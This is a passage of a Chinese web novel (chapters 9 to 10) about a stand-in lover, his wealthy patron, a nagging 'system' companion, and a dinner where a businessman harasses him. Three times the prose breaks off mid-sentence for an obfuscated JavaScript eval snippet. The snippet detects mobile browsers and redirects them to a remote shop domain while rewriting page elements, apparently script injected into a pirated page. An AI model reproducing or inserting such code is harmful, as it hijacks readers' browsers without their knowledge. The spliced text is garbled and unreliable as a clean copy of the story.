“一杯也能醉。” 车子开过来,门童拉开车门。林知白坐进去,报了地址。车子启动,驶入夜色。 车窗外的霓虹灯一盏接一盏掠过,红的绿的黄的,在他脸上投下斑驳的光影。他靠在座椅上,闭上眼睛。 手机震动了一下。 他睁开眼,点开消息。 顾霆琛:【先回去,晚点回】 林知白盯着这五个字看了很久。 先回去。 晚点回。 他打了几个字,删掉,又打了几个字,又删掉。最后只回了一个字: 【好】 发完他把手机调成静音,塞进口袋里。 “宿主。”小污的声音幽幽响起,“你知道他为什么要发这条消息吗?” “不知道。” “因为他觉得应该给你一个交代。但这种‘交代’,其实是另一种残忍。” 林知白没说话。 “他发消息的时候,苏沐就站在旁边。他看着苏沐,想着应该给你发条消息,然后发了,发完继续陪苏沐。”小污的声音难得认真,“他以为这样是负责,其实这样最伤人。” 车子驶过一条条街道,穿过一个个路口。 林知白一直闭着眼睛。 “小污。” “嗯?” “你说,一个人可以同时喜欢两个人吗?” 小污沉默了几秒:“本系统的数据库显示,可以。但那不是喜欢,是贪婪。” “贪婪......” “既要白月光的完美,又要替身的温度。两个都想要,两个都不想放手。” 车子停在别墅门口。 林知白下车,看着眼前这栋灯火通明的房子——门口亮着灯,客厅亮着灯,连花园的小路上都亮着灯。 有人来过? 他推开门,走进去。 客厅里空无一人,但茶几上放着一个保温桶,旁边压着一张纸条。 阿姨的字迹:【小林,炖了你爱喝的汤,在保温桶里,晚上饿了喝。顾先生说明天回来,你自己照顾好自己。——阿姨】 林知白站在客厅里,看着那个保温桶,看着那张纸条,看着满屋子的灯。 灯都开着。 亮得刺眼。 他走过去,拧开保温桶的盖子。热气冒出来,是鸡汤的香味。他盛了一碗,坐在餐桌前,拿起勺子。 喝了一口。 又喝了一口。 “宿主。”小污的声音很轻,“你哭了。” 林知白抬起手,摸了摸自己的脸。 湿的。 他愣了一下,然后继续喝汤,一口接一口。 眼泪掉进碗里,溅起小小的涟漪。他没有擦,只是继续喝,把整碗汤喝完,又盛了一碗。 “我没哭。”他说,声音有点哑,“汤太烫了。” “汤已经凉了。” 林知白看着碗里的汤,没说话。 窗外传来隐隐的雷声。 要下雨了。 他站起来,把碗洗了,把保温桶盖好,上楼,走进卧室。他没有开灯,只是站在窗前,看着外面的夜空。 闪电划过,照亮了远处的天际。 然后雨落下来了。 一开始是几滴,打在玻璃上,发出轻微的响声。然后越来越大,越来越密,最后变成倾盆大雨,哗哗地冲刷着整个世界。 林知白站在窗前,看着雨水顺着玻璃往下流,一道一道,像眼泪。 手机在口袋里震动了一下。 他拿出来看。 顾霆琛:【下雨了,窗户关好】 林知白看着这条消息,看着那个熟悉的名字。 他抬起头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432108|200930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着窗外的大雨。 然后他笑了,笑得很轻,笑得眼泪又流出来。 “宿主,你笑什么?” “我在想。”他说,声音很轻,被窗外的雨声淹没,“他发这条消息的时候,是在想我,还是在想他自己——觉得应该发这条消息?” 小污没有回答。 手机又震动了一下。 顾霆琛:【明天回去,有事说】 林知白看着屏幕。 有事说。 说什么?说“你走吧”?说“苏沐回来了”?说“谢谢你的陪伴,现在你可以退场了”? 他打了几个字,删掉,又打了几个字,又删掉。 最后他打了三个字: 【知道了】 发完,他把手机关机,放在床头柜上。 窗外的雨越下越大。 林知白躺在床上,看着天花板。灯没有开,只有窗外的闪电偶尔照亮房间。 “宿主。” “嗯?” “你希望他说什么?” 林知白沉默了很久。 久到小污以为他不会回答了。 然后他听见宿主的声音,很轻,轻得像一片落叶: “我希望他说......让我走。” 小污愣住了。 “我希望他亲口说,让我走。”林知白的声音继续,平静得像在说别人的故事,“这样我就可以死心了。这样我就可以告诉自己,不是我不够好,是他不要我了。” 闪电划过,照亮了他的脸。 他睁着眼睛,看着天花板,眼泪顺着眼角滑落,没入枕头里。 “可是他不说。”他说,“他不说让我走,也不说让我留。他就这么吊着我,让我等着,让我猜着,让我......自作多情。” “宿主......” “你知道吗,小污。”他笑了笑,“最可怕的不是被抛弃。最可怕的是,你明明已经被抛弃了,他还要装作没有抛弃你。让你站在原地等,等一个永远不会回来的人。” 雨声哗哗。 很久很久之后,小污的声音再次响起: “宿主,本系统有个提议。” “嗯?” “咱们快点完成任务,快点离开这里吧。” 林知白没说话。 “这个世界不好玩,咱们去下一个。下一个不好玩,再去下一个。总有一个世界,是好的。总有一个世界,你是被爱的。” 林知白闭上眼睛。 “会有吗?” “本系统不知道。”小污的声音很轻,“但本系统希望有。” 窗外,雨渐渐小了。 不知道过了多久,林知白终于睡着了。 梦里,他站在一个很大的雾里,什么都看不清。他往前走,一直往前走,然后看见一个人影。 是顾霆琛。 他站在那里,伸出手。 林知白想走过去,但怎么走都走不到。他越走越急,越走越快,最后跑起来。 可那个人影越来越远,越来越淡。 最后消失在雾里。 林知白醒来的时候,天已经亮了。 阳光从窗户照进来,在地板上投下金色的光影。 床头柜上,手机静静地躺在那里。 他拿起来,开机。 有一条新消息,来自顾霆琛,发送时间是凌晨三点十七分: 【我回来了。】 林知白盯着这四个字。 我回来了。 不是“我到家了”,不是“你在吗”,是“我回来了”。 好像这里是他的家。 好像他在对谁报平安。 好像......这个“回来”,和他没什么关系。 林知白放下手机,看向窗外。 阳光很好,好得刺眼。 雨后的天空格外蓝,蓝得像假的。 他听见楼下传来动静,门开了,脚步声,有人上楼了。 脚步声越来越近,停在卧室门口。 敲门声。 “林知白?” 是顾霆琛的声音。 林知白看着那扇门,没有说话。 门把手转动了一下。 门开了。 顾霆琛站在门口,头发微微有些湿,像是刚从外面回来。他看着坐在床上的林知白,眼神复杂。 “昨晚睡得好吗?” 林知白看着他,没有说话。 顾霆琛走进来,在床边坐下。 “我有事跟你说。” 林知白的手指微微收紧。 他终于要说了吗? 9. 第 9 章 门开了。 顾霆琛站在门口,头发微微有些湿,像是刚从外面回来。清晨的阳光从他身后照进来,在地板上投下一道长长的影子。 他看着坐在床上的林知白,眼神复杂。 “醒了?” 林知白没说话,只是看着他。 顾霆琛走进来,在床边坐下。床垫微微陷下去一块,两个人之间的距离不到半米。林知白能闻到他身上淡淡的气息——雨水、烟草,还有一点陌生的香水味。 苏沐的香水味。 “昨晚睡得好吗?”顾霆琛问。 “挺好的。” “撒谎。”顾霆琛看着他,“眼睛肿了。” 林知白下意识抬手摸了一下眼角,然后反应过来——上当了。 顾霆琛嘴角微微弯起一点弧度,很浅,几乎看不出来:“诈你的。” 林知白放下手,面无表情:“哦。” “不过现在知道了,真肿了。”顾霆琛的目光在他脸上停留了几秒,“哭过?” “没有。” “汤太烫了?” 林知白愣了一下。 顾霆琛从口袋里掏出手机,点开一张照片递给他。 是餐桌。昨晚那碗汤,旁边放着纸巾,纸巾上有水渍的痕迹。 “阿姨早上来的时候拍的。”顾霆琛收起手机,“她说你一个人喝了两碗汤,边喝边哭。” 林知白沉默了几秒:“阿姨话真多。” “是挺多的。”顾霆琛说,“不过她说得对。” “什么对?” “你确实哭了。” 林知白抬起头,对上他的目光。 那双眼睛里没有嘲讽,没有冷漠,只有一种他看不懂的东西。 “所以呢?”林知白问,“我哭了,然后呢?” 顾霆琛没有回答。 两个人就这么对视着,谁都没说话。 窗外有鸟叫声传来,清脆响亮,衬得室内的沉默更加沉重。 “宿主宿主!”小污的声音突然炸响,“这个气氛不对劲!太不对劲了!根据本系统对三千六百部虐恋小说的数据分析,这种清晨对视的桥段后面,通常跟着两种可能——要么是深情告白,要么是残忍分手!” 林知白在心里默默翻了个白眼:“你能不能别在这种时候添乱?” “不能!本系统有义务提醒宿主做好心理准备!” “那你是哪种?”顾霆琛突然开口。 林知白一愣:“什么?” “你刚才说‘然后呢’,我问你,你希望是哪种?”顾霆琛看着他,目光很专注,“你希望我来,是因为什么?” 林知白张了张嘴,没说出话。 他希望是什么? 他希望顾霆琛来说“苏沐走了,我要你”?还是希望他说“你可以走了”? 他不知道。 他真的不知道。 “我......”他刚开口,顾霆琛的手机响了。 顾霆琛看了一眼屏幕,眉头微微皱起,按掉了。 “你接吧。”林知白说。 “不用。” 手机又响了。 顾霆琛再次按掉。 第三次响起的时候,林知白看见了屏幕上跳动的名字——苏沐。 “接吧。”他说,声音很平静,“万一有事呢。” 顾霆琛看了他一眼,拿起手机,起身走到窗边,接了。 声音压得很低,但房间里太安静了,林知白还是能听见只言片语: “嗯......知道了......我晚点过去......你先休息......” 林知白低下头,看着自己的手指。指甲有点长了,该剪了。 “宿主。”小污的声音响起,难得的正经,“你现在的表情,很像一个被抛弃的原配。” “我没有被抛弃。” “那你为什么不敢抬头看他打电话?” 林知白没说话。 电话挂断了。顾霆琛走回来,在他面前站定。 “林知白。” 林知白抬起头。 “今天陪我一天。”顾霆琛说。 林知白愣住了:“什么?” “今天,就今天。”顾霆琛看着他,目光里有什么东西在涌动,“你想做什么,想去哪里,想吃什么,都行。我陪你。” 林知白盯着他,试图从那张脸上找出这句话的含义。 但顾霆琛的表情太认真了,认真到不像开玩笑。 “为什么?”林知白问。 “没有为什么。”顾霆琛说,“就是想陪你一天。” “那苏沐呢?” 顾霆琛沉默了一秒:“他有人照顾。” 林知白看着他,突然笑了。 很轻的笑,笑得眼睛弯起来,笑得眼眶有点发热。 “顾霆琛。”他说,声音很轻,“你知道你这话听起来像什么吗?” 顾霆琛没说话。 “像补偿。”林知白说,“像分手前的最后一顿晚餐。” 顾霆琛的眉头皱起来:“不是——” “行。”林知白打断他,掀开被子下床,“那就今天。你说了算。” 他赤着脚站在地板上,抬头看着顾霆琛:“我想先吃早餐,然后去海边。我想看海。” 顾霆琛看着他,眼神复杂。 “好。” 早餐是顾霆琛做的。 林知白坐在餐桌旁,看着那个在厨房里忙碌的背影,有点恍惚。 西装脱了,袖子挽到手肘,露出结实的小臂。他在煎蛋,动作熟练,一看就不是第一次下厨。 “宿主。”小污的声音幽幽响起,“你知道这个画面叫什么吗?” “什么?” “叫‘临死前的糖’。”小污的语气充满沧桑感,“根据本系统对三千六百部虐恋小说的研究,每次渣男突然变温柔,后面必定跟着一个惊天大虐。这是铁律,逃不掉的。” 林知白没说话,只是看着顾霆琛的背影。 阳光从窗户照进来,在他身上镀了一层浅金色的光。他端着煎蛋和吐司走过来,放在林知白面前,还顺手递过来一杯温牛奶。 “吃吧。” 林知白低头看着面前的早餐。煎蛋是心形的,吐司切成了整齐的三角形,牛奶的温度刚好不烫嘴。 “谢谢。”他说。 顾霆琛在他对面坐下,给自己倒了杯咖啡,没说话。 林知白咬了一口煎蛋,味道竟然还不错。 “你经常做饭?”他问。 “以前经常。”顾霆琛喝了口咖啡,“后来忙,就少了。” “以前是什么时候?” 顾霆琛沉默了几秒:“很久以前。” 林知白懂了。 很久以前——有苏沐的时候。 他没再问,低头继续吃。 吃完早餐,顾霆琛开车带他去海边。一路上两个人没怎么说话,车里放着轻音乐,车窗外的风景飞速后退。 林知白靠在座椅上,看着窗外。 “宿主。”小污又冒出来了,“本系统观察到一个重要细节。” “什么?” “他今天开的这辆车,不是平时那辆。” 林知白愣了一下。 “平时那辆是黑色商务车,后座有隐私玻璃。这辆是白色越野,后排可以看见他的侧脸。”小污的语气有点微妙,“而且他刚才上车的时候,特意帮你调了座椅角度。” 林知白没说话。 “还有,他今天穿的这件卫衣,本系统查过了,是某个平价品牌的基础款,三百块。他平时的衣服都是定制款,三万起步。” “你想说什么?” “本系统想说——”小污顿了顿,“他在努力做一个普通人。一个会做饭、会开车、会陪人去海边的普通人。不是金主,不是大佬,只是顾霆琛。” 林知白看着窗外飞速后退的风景,沉默了很久。 “可惜。”他说,声音很轻,“只是今天。” 车子在海边停下。 九月的海很蓝,蓝得像假的。阳光照在海面上,碎成一片片金色的光斑。沙滩上人不多,只有几对情侣在散步。 林知白脱了鞋,赤脚踩在沙滩上。沙子被晒得温热,细细软软的,从脚趾间挤出来。 顾霆琛走在他旁边,也脱了鞋,西装裤挽到小腿,难得的随意。 “冷吗?”他问。 “不冷。” 两个人沿着海岸线慢慢走。海浪一波一波涌上来,没过脚踝,又退下去,带走脚下的沙子。 “林知白。”顾霆琛突然开口。 “嗯?” “你恨我吗?” 林知白脚步顿了顿,然后继续走。 “不恨。” “为什么?” 林知白想了想:“可能是因为......还没到恨的时候。” 顾霆琛看着他,眉头微微皱起:“什么意思?” 林知白停下脚步,转过身面对着他。海风吹起他的头发,阳光在他脸上投下斑驳的光影。 “恨是需要力气的。”他说,“我现在所有的力气,都用来......活着。” 顾霆琛愣住了。 林知白看着他脸上的表情,突然笑了:“开玩笑的,别这么严肃。” 他转身继续往前走,一边走一边踢着海水。 “宿主。”小污的声音响起,“你刚才那句话,真扎心。” “是吗?” “顾霆琛的脸色都变了。本系统的情感分析模块显示,他那瞬间的心率飙升了百分之三十。” 林知白没说话,只是继续往前走。 走到一处礁石旁边,他停下来,爬上去坐着。顾霆琛也跟着爬上来,在他身边坐下。 两个人就这么坐着,看着远处的海平面。 “林知白。”顾霆琛又开口。 “你今天话好多。”林知白看着海,“平时不是这样的。” 顾霆琛沉默了几秒:“可能是因为......今天是最后一天。” 林知白的身体僵了一下。 很轻微,但顾霆琛看见了。 “我不是那个意思。”顾霆琛说,“我是说,今天是只属于我们的一天。明天开始,一切都会不一样。” 林知白转过头,看着他。 “明天开始,怎么了?” 顾霆琛没有回答。 他只是看着海,眼神里有一种林知白看不懂的东西。 “宿主!”小污的声音突然炸响,“本系统检测到危险信号! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432109|200930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 超级危险信号!他刚才那句话的潜台词是——明天有大事发生!” “什么大事?” “本系统不知道!但根据经验,能让渣男提前一天陪吃陪玩陪聊天的,通常都是——大虐前的糖!” 林知白没理它,只是看着顾霆琛。 海风吹过来,带着咸湿的气息。 “顾霆琛。”他叫他的名字。 顾霆琛转过头。 “不管明天发生什么。”林知白说,“今天谢谢你。” 顾霆琛看着他,眼神复杂。 然后他抬起手,轻轻揉了揉林知白的头发。 动作很轻,很温柔,像对待什么易碎的物品。 林知白没有躲开。 两个人就这么坐着,一直坐到太阳西斜。 回程的路上,顾霆琛接了个电话。这一次他没有避开,就在车里接的。 “嗯......知道了......好,我晚点过去。” 挂断电话,他看了林知白一眼。 “苏沐?”林知白问。 “嗯。有点不舒服。” 林知白点点头,没说话。 车子继续往前开。 “晚上想吃什么?”顾霆琛问。 “随便。” “又随便。”顾霆琛嘴角弯了弯,“那我看着办。” 他带林知白去了一家私房菜馆,提前订好的包厢,菜品一道道端上来,每一道都是林知白喜欢的口味。 林知白吃着吃着,突然停下来。 “顾霆琛。” “嗯?” “你是不是早就计划好了今天?” 顾霆琛握着筷子的手顿了顿。 “从昨天你让我今天陪你一天,到现在这顿饭。”林知白看着他,“你是不是早就知道,今天之后会发生什么?” 顾霆琛放下筷子,看着他。 “林知白。” “嗯?” “明天晚上有个饭局。”顾霆琛说,“你陪我一起去。” 林知白愣了一下:“饭局?和谁?” “几个朋友。”顾霆琛的目光移开了一瞬,“赵总也在。” 林知白握着筷子的手,慢慢收紧。 “又是赵总?” “这次不一样。”顾霆琛说,“我会一直在。” 林知白看着他,想从那张脸上找出一点端倪。 但顾霆琛的表情太平静了,平静得看不出任何情绪。 “宿主!”小污的声音炸响,“别去!千万别去!上次的教训还不够吗?” 林知白没理它。 “好。”他说,“我去。” 顾霆琛看着他,眼神里有什么东西闪了一下。 “谢谢。” 林知白低下头,继续吃饭。 吃完饭回家,顾霆琛接了个电话,说有事先走。他站在门口,看着林知白。 “早点睡。” “好。” “明天下午我来接你。” “好。” 顾霆琛转身要走,又停住,回过头。 “林知白。” “嗯?” “如果......”他顿了顿,“如果明天发生什么,你相信我吗?” 林知白看着他,没说话。 顾霆琛等了几秒,没等到回答,转身走了。 门在身后关上。 林知白站在客厅里,看着那扇门。 “宿主。”小污的声音响起,“你真的要去?” “嗯。” “可是上次——” “上次是上次。”林知白打断它,“这次他说了,他会在。” “你相信他?” 林知白沉默了很久。 久到小污以为他不会回答了。 然后他听见宿主的声音,很轻,轻得像一声叹息: “我想相信一次。” 他转身上楼,走进卧室。 床头柜上,那个相框不见了。 林知白愣了一下,打开抽屉——相框在里面,照片朝下放着。 他拿出来,翻过来。 照片里,年轻的顾霆琛和苏沐笑得灿烂。 他看了一会儿,把相框放回去,关上抽屉。 窗外传来汽车发动的声音。 他走到窗边,看着那辆白色越野驶出车库,消失在夜色里。 “小污。” “嗯?” “你说,明天的饭局,会发生什么?” 小污沉默了几秒:“本系统不知道。但本系统建议宿主,做好最坏的准备。” 林知白看着窗外。 夜空中没有星星,只有城市遥远的光。 “最坏的准备。”他重复了一遍,“是什么?” “是......”小污顿了顿,“他又把你送人了。” 林知白没说话。 很久之后,他拉上窗帘,躺回床上。 “睡吧。”他说。 第二天下午六点,顾霆琛准时来接他。 林知白换上衣服,坐上那辆黑色商务车。 车子在一家会所门口停下。 推开包厢门的那一刻,林知白看见了赵总,看见了几个陌生男人,还看见了—— 苏沐。 10. 第 10 章 包厢门推开的瞬间,林知白看见了里面的人。 赵总坐在主位旁边,正端着酒杯跟旁边的人说笑。另外几个陌生面孔,西装革履,一看就是商场上的角色。靠窗的位置上,还坐着两个年轻漂亮的女孩,妆容精致,笑容得体。 然后他看见了苏沐。 苏沐坐在靠里的沙发上,手里握着一杯水,脸色比昨晚更苍白了些。他看见林知白进来,微微愣了一下,然后笑了笑,点了点头。 林知白也点了点头。 “来了来了!”赵总站起来,热情地迎上来,“顾总,小林,快请进快请进!” 顾霆琛揽着林知白的腰走进去,在他耳边低声说:“跟着我就行。” 林知白没说话。 他在看苏沐。 苏沐也在看他。 两个人的目光在空中交汇了一秒,然后各自移开。 “宿主!”小污的声音炸响,“情况不对!非常不对!苏沐怎么也在?” 林知白在心里说:“你问我?我问谁?” “本系统的数据库要炸了!这什么情况?白月光和替身同框?这是要拍狗血剧吗?” “你能不能安静一会儿?” “不能!本系统现在的心情就像看到两只老虎在同一笼子里——既兴奋又害怕!” 林知白没再理它。 顾霆琛带着他在赵总旁边坐下。位置安排得很微妙——林知白在顾霆琛右边,赵总在顾霆琛左边,苏沐坐在斜对面,正好在林知白的视线范围内。 “顾总,好久不见!”旁边一个戴眼镜的男人举杯,“上次合作还是三年前吧?” “嗯,三年了。”顾霆琛端起酒杯,浅浅抿了一口。 林知白安静地坐在旁边,保持微笑。 “小林今天很帅嘛。”赵总转过头,笑眯眯地看着他,“这身衣服挑得好,显气质。” 林知白礼貌地点点头:“谢谢赵总。” “谢什么,实话。”赵总的目光在他身上多停了几秒,“顾总眼光就是好,挑的人一个比一个出色。” 这话说得微妙。 一个比一个出色——那谁在前,谁在后? 林知白余光扫了一眼苏沐。苏沐正低头喝水,像是没听见。 顾霆琛的眉头微微皱了一下,但没说话。 “来来来,喝酒喝酒!”赵总举起酒杯,“今天难得聚这么齐,不醉不归!” 酒杯碰撞,觥筹交错。 林知白端着酒杯,只沾了沾唇就放下。 “小林怎么不喝?”赵总看过来,“是不是酒不好?我让他们换一瓶?” “不是。”林知白笑了笑,“我酒量不好,怕喝多了失态。” “失态怕什么?”赵总大笑,“有顾总在呢,失态了让他送你回去。” 顾霆琛看了林知白一眼:“不想喝就不喝。” 赵总愣了一下,然后笑得更大声了:“顾总护得紧啊!行行行,不喝就不喝,小林喝茶,喝茶总行吧?” 林知白点点头,旁边的服务员立刻给他倒了杯茶。 饭局继续进行。话题从生意聊到投资,从投资聊到娱乐圈的八卦。林知白听着,偶尔笑笑,偶尔点点头,把自己活成一个背景板。 但他的目光,总是不自觉地飘向斜对面。 苏沐几乎没怎么吃东西,只是偶尔喝几口水。他的脸色越来越白,额头上有细密的汗珠渗出来。 “苏先生不舒服吗?”林知白听见自己开口。 所有人的目光都看向他,然后顺着他的目光看向苏沐。 苏沐愣了一下,然后笑了笑:“没事,老毛病,休息一下就好。” 顾霆琛的眉头皱得更紧了。他看着苏沐,嘴唇动了动,像想说什么,但最终什么也没说。 “要不要叫医生?”赵总问。 “不用不用。”苏沐摆摆手,“真没事,大家继续。” 饭局继续。 但林知白注意到,顾霆琛的目光开始频繁地飘向苏沐。 每次苏沐皱眉,他看过去。每次苏沐喝水,他看过去。每次苏沐轻轻按一下胸口,他看过去。 那种目光,林知白见过。 昨天在露台上,顾霆琛走向苏沐的时候,就是这种目光。 紧张。担心。在意。 是藏不住的。 “宿主。”小污的声音轻轻响起,少见的没有吐槽,“你还好吗?” “挺好的。” “你的手在抖。” 林知白低头看了看自己的手——确实在抖,他正握着茶杯,茶水在轻轻晃动。 他把茶杯放下,把手放到桌下,握紧。 “喝得差不多了吧?”赵总看了看时间,“要不要换个地方?隔壁新开了个KTV,环境不错。” “我......”苏沐刚开口,突然捂住胸口,脸色刷地白了。 “苏沐!”顾霆琛猛地站起来,椅子差点翻倒。 他三步并作两步冲到苏沐身边,一把扶住他:“怎么了?哪里不舒服?” 苏沐艰难地笑了笑:“没事,就是......有点闷。” “药呢?带药了吗?” “带了......”苏沐从口袋里掏出一个小药瓶,手抖得厉害,盖子拧不开。 顾霆琛接过药瓶,拧开,倒出药片,喂到他嘴边。又从旁边拿过水杯,小心翼翼地喂他喝水。 动作那么熟练,那么自然。 像是做过无数次。 林知白坐在原处,看着这一幕。 周围的人都站起来了,七嘴八舌地关心着。只有他还坐在那里,像一尊雕塑。 赵总回头看了他一眼,眼神里有一点同情,还有一点看好戏的意味。 “顾总,要不要先送苏先生回去?”有人提议。 “对对对,身体要紧。” 顾霆琛抬起头,目光在包厢里扫了一圈。 扫过赵总,扫过那几个陌生男人,扫过那两个年轻女孩。 最后落在林知白身上。 林知白对上他的目光,没有说话。 “我......”顾霆琛开口。 “去吧。”林知白说。 声音很轻,轻得像一片落叶。 顾霆琛愣住了。 “他需要你。”林知白笑了笑,“去吧,我没事。” 顾霆琛看着他,眼神复杂。 一秒。两秒。三秒。 “我很快回来。”顾霆琛说。 然后他扶着苏沐,往外走。 走到门口的时候,苏沐回过头,看了林知白一眼。 那一眼里,有感激,有歉意,还有一点林知白看不懂的东西。 门在他们身后关上。 包厢里安静了一瞬。 然后赵总打破了沉默:“哎呀,顾总就是重情义,对苏先生这么多年了还是这么上心。” 有人附和:“可不是嘛,十年了,不容易。” “小林。”赵总转过头,笑眯眯地看着他,“顾总走了,你一个人没问题吧?” 林知白看着他,没说话。 “来来来,坐近点,咱们聊聊天。”赵总拍了拍身边的椅子,“上次跟你说的事,考虑得怎么样了?” 林知白站起来。 “赵总。”他说,声音平静,“我想去趟洗手间。” “哦,去吧去吧。”赵总摆摆手,“别迷路啊。” 林知白走出包厢,穿过走廊,推开洗手间的门。 他站在洗手台前,看着镜子里的自己。 镜子里的人穿着精致的西装,头发梳得一丝不苟,脸上还带着得体的笑容。 可是眼睛里,什么都没有。 他打开水龙头,捧了一把冷水泼在脸上。 凉意刺进皮肤,让他清醒了一点。 “宿主。”小污的声音响起,“你刚才为什么不拦他?” 林知白没说话。 “你明明可以拦他的。你可以说你不舒服,你可以说你不想一个人待着,你可以说......什么都行。” 林知白抬起头,看着镜子里水珠顺着脸颊往下流。 “拦了有什么用?”他说,“他眼里只有那个人。” “可是——” “小污。”林知白打断它,“你知道吗,最可悲的不是他不选我。最可悲的是,我根本没资格让他选。” 小污沉默了。 林知白擦干脸上的水,整理了一下头发,对着镜子扯出一个笑容。 “走吧。”他说,“戏还没演完呢。” 他推开门,走回包厢。 推开门的那一刻,他愣住了。 赵总站在门口,像是在等他。 “小林回来了?”赵总笑着,“正好,咱们聊聊。” 他的手搭上林知白的肩膀,把他往包厢里带。 林知白被按着坐下。这次的位置离赵总更近了,近到能闻见他身上浓烈的酒气和烟草味。 “赵总......”林知白想站起来。 “别急嘛。”赵总按住他的肩膀,“顾总走了,我替他照顾照顾你。来,喝一杯。” 他把酒杯递到林知白嘴边。 林知白偏过头:“我不喝酒。” “刚才说不喝,现在还不喝?”赵总的脸凑过来,眼睛眯成一条缝,“不给面子?” 包厢里其他人看过来,有人笑着起哄:“小林,赵总都亲自敬酒了,喝一杯呗!” “就是就是,一杯而已!” 林知白看着眼前的酒杯,又看了看赵总那张油光满面的脸。 他想起那天晚上的雨夜。 想起那个打不通的电话。 想起那句“人我带到了,您随意”。 然后他想起顾霆琛走之前说的最后一句话—— “我很快回来。” 很快? 多久算快? 林知白接过酒杯。 “赵总。”他说,嘴角弯起一个弧度,“我喝。” 他一仰头,把酒干了。 赵总眼睛亮了:“好!爽快!再来一杯!” 第二杯。 第三杯。 第四杯。 林知白的脑袋开始发晕,眼前的景物开始晃动。他扶着桌子,想站起来,腿却软得不行。 “小林喝多了吧?”赵总的声音忽远忽近,“要不要找个地方休息一下?” 一只手搭上他的腰。 林知白浑身一激灵,猛地推开他。 “别碰我。” 他的声音不大,但很清晰。 赵总愣了一下,脸色沉下来:“你说什么?” 林知白扶着桌子站起来,摇摇晃晃地看着他。 “我说,别碰我。” 包厢里安静下来。所有人都看着他们。 赵总的脸涨红了,酒劲上来,眼神变得危险:“林知白,你以为你是谁?顾霆琛的人?他把你扔这儿走了,你还在这儿装什么清高?” 林知白看着他,没说话。 “我告诉你。”赵总走近一步,“你今天喝也得喝,不喝也得喝。顾霆琛不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432110|200930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在,没人护着你。” 他的手再次伸过来,抓住林知白的手腕。 林知白低头看着那只手。 肥厚的手指,油腻的皮肤,像一条蠕动的虫。 他想挣脱,但手脚使不上力气。 “宿主!”小污的声音炸响,“跑!快跑!” 跑? 往哪儿跑? 他抬起头,看向包厢里的其他人。那些人都在看着,有人带着笑,有人带着好奇,有人带着冷漠。 没有人要帮他。 林知白深吸一口气。 他想起那天晚上,他砸了酒瓶,逃出饭店。 这次呢? 他的手摸向桌上的酒瓶—— 就在这时,包厢门被猛地推开了。 “林知白!” 熟悉的声音,带着喘。 林知白转过头。 顾霆琛站在门口,头发乱了,西装扣子开了,胸口剧烈起伏着。他像是跑着回来的,跑得很急。 他的目光落在赵总抓着林知白的手上,瞳孔猛地收缩。 下一秒,他已经冲过来,一拳砸在赵总脸上。 赵总惨叫一声,松开手,整个人往后倒去,撞翻了椅子。 “你他妈——”赵总捂着脸想骂人,对上顾霆琛的眼神,声音卡在喉咙里。 顾霆琛的眼神冷得像冰,像刀,像要杀人。 “赵建国。”他的声音从牙缝里挤出来,“我说过,他是我的人。” 赵总脸色变了变,挤出笑脸:“顾总,误会,都是误会,我就是陪小林喝两杯——” “滚。” 赵总爬起来,灰溜溜地走了。其他人也识相地散了。 包厢里只剩下林知白和顾霆琛。 顾霆琛转过身,看着林知白。 他的眼神在颤抖。 “对不起。”他说,“我来晚了。” 林知白看着他。 看着他那张焦急的脸,那双还在颤抖的眼睛,那个因为跑得太急还在起伏的胸口。 他想起刚才他扶着苏沐的样子。 想起他喂苏沐吃药的样子。 想起他头也不回离开的样子。 林知白突然笑了。 “苏沐呢?”他问。 顾霆琛愣了一下:“送上车了,有人送他回去。” “那你为什么回来?” “因为你。” 林知白看着他的眼睛,想从里面找出撒谎的痕迹。 但他找不到。 那双眼里的焦急和担心,是真的。 “顾霆琛。”林知白说,声音很轻,“你知道吗,我刚才在想一个问题。” “什么问题?” “如果苏沐没有不舒服,你会不会走?” 顾霆琛的脸色变了。 “如果苏沐和你一起留在这里,你会不会看我一眼?” “林知白——” “我在想,我在你心里,到底是什么位置。”林知白继续说,声音平静得像在说别人的事,“替身?玩具?还是一个备胎?” 顾霆琛张了张嘴,说不出话。 “你今天说要陪我一天,说今天只属于我们。”林知白笑了,笑得很轻,“可是苏沐一个电话,你就走了。” “我回来了——” “你回来了。”林知白点点头,“因为你把苏沐安顿好了,你才回来。如果他没有被安顿好呢?你还会回来吗?” 顾霆琛沉默了。 林知白看着他的沉默,嘴角的弧度慢慢弯起来。 “没关系。”他说,“不用回答。” 他绕过顾霆琛,往外走。 走到门口,他停下来,没有回头。 “顾霆琛。” “嗯?” “谢谢你今天陪我。”他的声音很轻,“早餐很好吃,海很好看,晚餐也很好。今天很好。” “林知白——” “但以后不用了。” 他推开门,走了出去。 走廊很长,灯光很亮。 